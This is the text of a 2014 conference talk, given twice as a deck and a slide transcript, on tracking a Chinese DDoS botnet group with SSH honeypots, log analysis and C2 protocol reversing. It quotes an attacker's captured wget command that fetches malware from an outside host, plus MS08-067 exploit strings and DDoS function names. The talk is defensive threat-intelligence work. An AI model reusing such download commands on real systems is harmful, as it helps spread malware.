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Ballin on a Budget
Tracking Chinese threat actors on the cheap
Andrew Morris
a/s/l?
• Andrew Morris
• Security Engineer, iSEC Partners
• Twitter - @Andrew___Morris
• Email - andrew@morris.guru
Overview
• I’m going to tell you how I tracked a group of
threat actors
• I’m going to show you how you can too
Part 1: background
wtf is threat intel
• Gathering intelligence on your adversaries (or
bad guys in general)
• Predicting and preventing attacks before they
happen
Lots of companies
do it
We can too!
What we can’t do
• As ballers on budgets, we don’t have access to a lot of
good data
• I’m assuming we do not have access to IR artifacts from
targeted compromises
• So we’re going to focus on mass attacks targeting the
entire internet
• We’re only going to track dumb groups with poor opsec
• Today we’ll focus on a group that spreads malware via
crappy SSH passwords
How do you threat
intelligence?
• Set up a network of vulnerable machines exposed to the
internet
• Monitor them for attacks
• Aggregate data
• Locate, secure, and analyze artifacts
• Locate key adversary infrastructure
• ??????
• Profit!
How to ball, on a budget
• Setting up infrastructure - honeypots
• Monitoring attacks - management interface, log review
• Locating a group of attackers - Scraping their web servers
• Figuring out who they are - Analyzing capabilities,
correlating data, securing artifacts
• Tracking their targets - Get creative!
• Implementing defenses - Firewall rules, indicators, TTP
write-ups
Quick Malware Primer
• Most malware uses the conventional C2
(command and control) model
• Lots of botnets are used to perform DDOS
(distributed denial of service) attacks
Our targets
• Guess passwords via SSH
• uname -a
• wget malware.run
Step 2: Setting up
Infrastructure
Honeypots!
What is a honeypot?
• An intentionally vulnerable server or application
that serves no business purpose
• It’s only purpose is to attract attention of
attackers
Step 1 - Cheap Hosting
• CloudAtCost
• Pros: CHEAP - $35 dollar one time fee for a
machine FOREVER
• Cons: Crappy uptime, slow, unreliable
Step 1.1 - OPSEC
• Don’t reuse passwords
• Don’t put any data on the machine
• Don’t put anything personally identifiable on the
machine
• Assume the machine will be compromised at
any moment
Step 2 - Management
• ThreatStream released an awesome open
source centralized honeypot monitor called
MHN (Managed Honey Network)
• Looks like this
Kippo
• SSH Honeypot
• Can record attacker sessions
• Can grab artifacts attackers attempt to
download with wget
• Configure certain usernames and passwords
Let the attacks begin!
Data Analytics: Ballin on a
Budget style
# grep 'login attempt' * | cut -d' ' -f9 | sort | uniq -c | sort -n | tail -n25 | tac
Top 25 passwords being used
against your infrastructure?
Data Analytics: Ballin on a
Budget style (cont’d)
# grep SSHService * | cut -d']' -f1 | cut -d',' -f3 | sort | uniq -c | sort -n | tail -n25 | tac
Top 25 attacker IP addresses
Tracker
Real-time Alerting analytics: Ballin on a budget style
https://github.com/andrew-morris/tracker/
Quick recap
• We learned what threat intel is
• We learned how to set up and operate
infrastructure
Part 3: Locating the
Group
Successful Logins with
Kippo
root@mgmt.muXXXXXXXXX.com:~# wget -O /etc/run_second=$q http://60.173.X.X:8080/14.17
--2014-08-07 10:25:11-- http:///etc/run_second=$q
Connecting to None:80... connected.
HTTP request sent, awaiting response...
Credit to MalwareMustDie
• Do some internet recon to see if anyone’s seen
the binaries before
• Search Google, VirusTotal, Malwr, etc for the md5
• That being said… this still gets me giddy
what if I suck at reversing
tho
It’s all good!
Malware Analysis: Ballin on
a budget style
• Use malwr.com and virustotal.com
Part 4: CHUILANG
aka a group I’ve been tracking
Who I’m working on
• I was getting hit a lot by a particular group
• I secured some of their malware samples
something something
China
1.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
14.17: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
183.60: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux
2.2.5, not stripped
445.rar: RAR archive data, v1d, os: Win32
5900.rar: RAR archive data, v1d, os: Win32
Freebsd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD
8.4, not stripped
L24_36000: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux
2.2.5, not stripped
SSHSecureShellClient-3[1][1].2.9.zip: Zip archive data, at least v2.0 to extract
elf: directory
elf.tar.gz: POSIX tar archive (GNU)
putty.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
tcpwra: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
xpoer: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
xsyer: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
ºì³¾Íø°²445Éø͸¹¤¾ß°ü.rar: RAR archive data, v1d, os: Win32
命令提示符.exe
入侵前需要 启的服务.bat
FTP下载命令.txt
SMB Connect OK!
Make SMB Connection error:%d
MS08-067 Exploit for CN by EMM@ph4nt0m.org
%sIPC$
pipebrowser
EMM!
B041
Reversing
• Reversing this malware is a talk in itself
• I suck at reversing so don’t listen to anything I tell you
• I’ll post the IDB files on my github soon
• Sometimes you don’t have to reverse anything
Analysis
Dropped a couple other binaries
Added itself to startup
The usual
Contained DDOS capability
Function names like “SYNFLOOD”,
“UDPFLOOD”, etc
Traffic
I see…. IP addresses?
Lots of IPs
# geo
[+] IP Address: 202.102.199.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 218.104.78.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 211.138.180.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 211.91.88.129 Country: China Region: 22 City: Beijing Coordinates: 39.92890,116.38830
[+] IP Address: 202.38.64.1 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 58.242.2.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 202.102.200.101 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 202.102.213.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 202.102.192.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
[+] IP Address: 61.132.163.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080
andrew$ geo 8.8.8.8
[+] IP Address: 8.8.8.8 Country: United States Region: CA City: Mountain View Coordinates: 37.38600,-122.08380
Geographical Correlation Engine: Ballin
on a budget style
Who are these IPs?
CartoDB is AWESOME
What are they?
• DNS servers
• Backbone routers
• Etc
C2 traffic
• Those IPs were their DDOS targets
• They were blasting instructions from the C2
• Let’s build our own client!
Step 1: Spend hours staring at Wireshark
Step 2: Try not to kill yourself
What the
code looks
like
https://github.com/andrew-morris/chuilang2014_emulate/
What the
code does
Honeypot > Identifying threats > Tracking targets
Recap!
• We’ve captured malware
• Analyzed it to identify capabilities
• Reversed the protocol to identify the groups
targets in real time
Closing Notes
End result?
• Real-time tracking of the group’s targets, as they
target them
• Malware artifacts
• C2 IP addresses to block from your network
Summary of the Group
• Based in China
• Not advanced
• Use easily guessable credentials and 6 year old
exploits (MS08_067)
• Goals: Build botnet to DDOS people
• Somewhat smart about targeting
Closing Notes
The majority of this intel was gathered from one
piece of malware from one campaign
There are lots of these campaigns and attacks
occurring at any moment
You just need to find them
TO DO!
• Track more of these C2s
• Figure out how to identify other compromised
clients
• Setup automated notification system to alert
admins that they will be targeted
• Setup live-updating map of their targets
• Threat intelligence isn’t that hard
• It’s easy to ball on a budget
• Get out there and track some targets!
• Don’t forget to share your info!
Credit
• MalwareMustDie - @malwaremustdie
• Cartodb - cartodb.com
• Malwr - malwr.com
• VirusTotal - virustotal.com
• CloudAtCost - cloudatcost.com
• ThreatStream MHN - github.com/threatstream/mhn
• Rob Blody (gir489) for helping me reverse some malware samples
• Nat Puffer for getting me interested in this stuff
Thank you!
Andrew Morris
@Andrew___Morris
andrew@morris.guru

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BSidesCharleston2014 - Ballin on a Budget: Tracking Chinese Malware Campaigns on the Cheap

  • 1. Ballin on a Budget Tracking Chinese threat actors on the cheap Andrew Morris
  • 2. a/s/l? • Andrew Morris • Security Engineer, iSEC Partners • Twitter - @Andrew___Morris • Email - andrew@morris.guru
  • 3. Overview • I’m going to tell you how I tracked a group of threat actors • I’m going to show you how you can too
  • 5. wtf is threat intel • Gathering intelligence on your adversaries (or bad guys in general) • Predicting and preventing attacks before they happen
  • 8. What we can’t do • As ballers on budgets, we don’t have access to a lot of good data • I’m assuming we do not have access to IR artifacts from targeted compromises • So we’re going to focus on mass attacks targeting the entire internet • We’re only going to track dumb groups with poor opsec • Today we’ll focus on a group that spreads malware via crappy SSH passwords
  • 9. How do you threat intelligence? • Set up a network of vulnerable machines exposed to the internet • Monitor them for attacks • Aggregate data • Locate, secure, and analyze artifacts • Locate key adversary infrastructure • ?????? • Profit!
  • 10. How to ball, on a budget • Setting up infrastructure - honeypots • Monitoring attacks - management interface, log review • Locating a group of attackers - Scraping their web servers • Figuring out who they are - Analyzing capabilities, correlating data, securing artifacts • Tracking their targets - Get creative! • Implementing defenses - Firewall rules, indicators, TTP write-ups
  • 11. Quick Malware Primer • Most malware uses the conventional C2 (command and control) model • Lots of botnets are used to perform DDOS (distributed denial of service) attacks
  • 12.
  • 13. Our targets • Guess passwords via SSH • uname -a • wget malware.run
  • 14. Step 2: Setting up Infrastructure
  • 16. What is a honeypot? • An intentionally vulnerable server or application that serves no business purpose • It’s only purpose is to attract attention of attackers
  • 17. Step 1 - Cheap Hosting • CloudAtCost • Pros: CHEAP - $35 dollar one time fee for a machine FOREVER • Cons: Crappy uptime, slow, unreliable
  • 18. Step 1.1 - OPSEC • Don’t reuse passwords • Don’t put any data on the machine • Don’t put anything personally identifiable on the machine • Assume the machine will be compromised at any moment
  • 19. Step 2 - Management • ThreatStream released an awesome open source centralized honeypot monitor called MHN (Managed Honey Network) • Looks like this
  • 20.
  • 21. Kippo • SSH Honeypot • Can record attacker sessions • Can grab artifacts attackers attempt to download with wget • Configure certain usernames and passwords
  • 22. Let the attacks begin!
  • 23. Data Analytics: Ballin on a Budget style # grep 'login attempt' * | cut -d' ' -f9 | sort | uniq -c | sort -n | tail -n25 | tac Top 25 passwords being used against your infrastructure?
  • 24. Data Analytics: Ballin on a Budget style (cont’d) # grep SSHService * | cut -d']' -f1 | cut -d',' -f3 | sort | uniq -c | sort -n | tail -n25 | tac Top 25 attacker IP addresses
  • 25. Tracker Real-time Alerting analytics: Ballin on a budget style https://github.com/andrew-morris/tracker/
  • 26. Quick recap • We learned what threat intel is • We learned how to set up and operate infrastructure
  • 27. Part 3: Locating the Group
  • 29. root@mgmt.muXXXXXXXXX.com:~# wget -O /etc/run_second=$q http://60.173.X.X:8080/14.17 --2014-08-07 10:25:11-- http:///etc/run_second=$q Connecting to None:80... connected. HTTP request sent, awaiting response... Credit to MalwareMustDie
  • 30. • Do some internet recon to see if anyone’s seen the binaries before • Search Google, VirusTotal, Malwr, etc for the md5 • That being said… this still gets me giddy
  • 31. what if I suck at reversing tho
  • 33. Malware Analysis: Ballin on a budget style • Use malwr.com and virustotal.com
  • 34.
  • 35. Part 4: CHUILANG aka a group I’ve been tracking
  • 36. Who I’m working on • I was getting hit a lot by a particular group • I secured some of their malware samples
  • 38. 1.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit 14.17: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped 183.60: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped 445.rar: RAR archive data, v1d, os: Win32 5900.rar: RAR archive data, v1d, os: Win32 Freebsd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 8.4, not stripped L24_36000: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped SSHSecureShellClient-3[1][1].2.9.zip: Zip archive data, at least v2.0 to extract elf: directory elf.tar.gz: POSIX tar archive (GNU) putty.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit tcpwra: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped xpoer: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped xsyer: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped ºì³¾Íø°²445Éø͸¹¤¾ß°ü.rar: RAR archive data, v1d, os: Win32 命令提示符.exe 入侵前需要 启的服务.bat FTP下载命令.txt SMB Connect OK! Make SMB Connection error:%d MS08-067 Exploit for CN by EMM@ph4nt0m.org %sIPC$ pipebrowser EMM! B041
  • 39. Reversing • Reversing this malware is a talk in itself • I suck at reversing so don’t listen to anything I tell you • I’ll post the IDB files on my github soon • Sometimes you don’t have to reverse anything
  • 40. Analysis Dropped a couple other binaries Added itself to startup The usual Contained DDOS capability Function names like “SYNFLOOD”, “UDPFLOOD”, etc
  • 41. Traffic I see…. IP addresses?
  • 43. # geo [+] IP Address: 202.102.199.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 218.104.78.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 211.138.180.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 211.91.88.129 Country: China Region: 22 City: Beijing Coordinates: 39.92890,116.38830 [+] IP Address: 202.38.64.1 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 58.242.2.2 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 202.102.200.101 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 202.102.213.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 202.102.192.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 [+] IP Address: 61.132.163.68 Country: China Region: 01 City: Hefei Coordinates: 31.86390,117.28080 andrew$ geo 8.8.8.8 [+] IP Address: 8.8.8.8 Country: United States Region: CA City: Mountain View Coordinates: 37.38600,-122.08380 Geographical Correlation Engine: Ballin on a budget style
  • 44. Who are these IPs? CartoDB is AWESOME
  • 45. What are they? • DNS servers • Backbone routers • Etc
  • 46. C2 traffic • Those IPs were their DDOS targets • They were blasting instructions from the C2 • Let’s build our own client!
  • 47. Step 1: Spend hours staring at Wireshark Step 2: Try not to kill yourself
  • 50. Honeypot > Identifying threats > Tracking targets
  • 51. Recap! • We’ve captured malware • Analyzed it to identify capabilities • Reversed the protocol to identify the groups targets in real time
  • 53. End result? • Real-time tracking of the group’s targets, as they target them • Malware artifacts • C2 IP addresses to block from your network
  • 54. Summary of the Group • Based in China • Not advanced • Use easily guessable credentials and 6 year old exploits (MS08_067) • Goals: Build botnet to DDOS people • Somewhat smart about targeting
  • 55. Closing Notes The majority of this intel was gathered from one piece of malware from one campaign There are lots of these campaigns and attacks occurring at any moment You just need to find them
  • 56. TO DO! • Track more of these C2s • Figure out how to identify other compromised clients • Setup automated notification system to alert admins that they will be targeted • Setup live-updating map of their targets
  • 57. • Threat intelligence isn’t that hard • It’s easy to ball on a budget • Get out there and track some targets! • Don’t forget to share your info!
  • 58. Credit • MalwareMustDie - @malwaremustdie • Cartodb - cartodb.com • Malwr - malwr.com • VirusTotal - virustotal.com • CloudAtCost - cloudatcost.com • ThreatStream MHN - github.com/threatstream/mhn • Rob Blody (gir489) for helping me reverse some malware samples • Nat Puffer for getting me interested in this stuff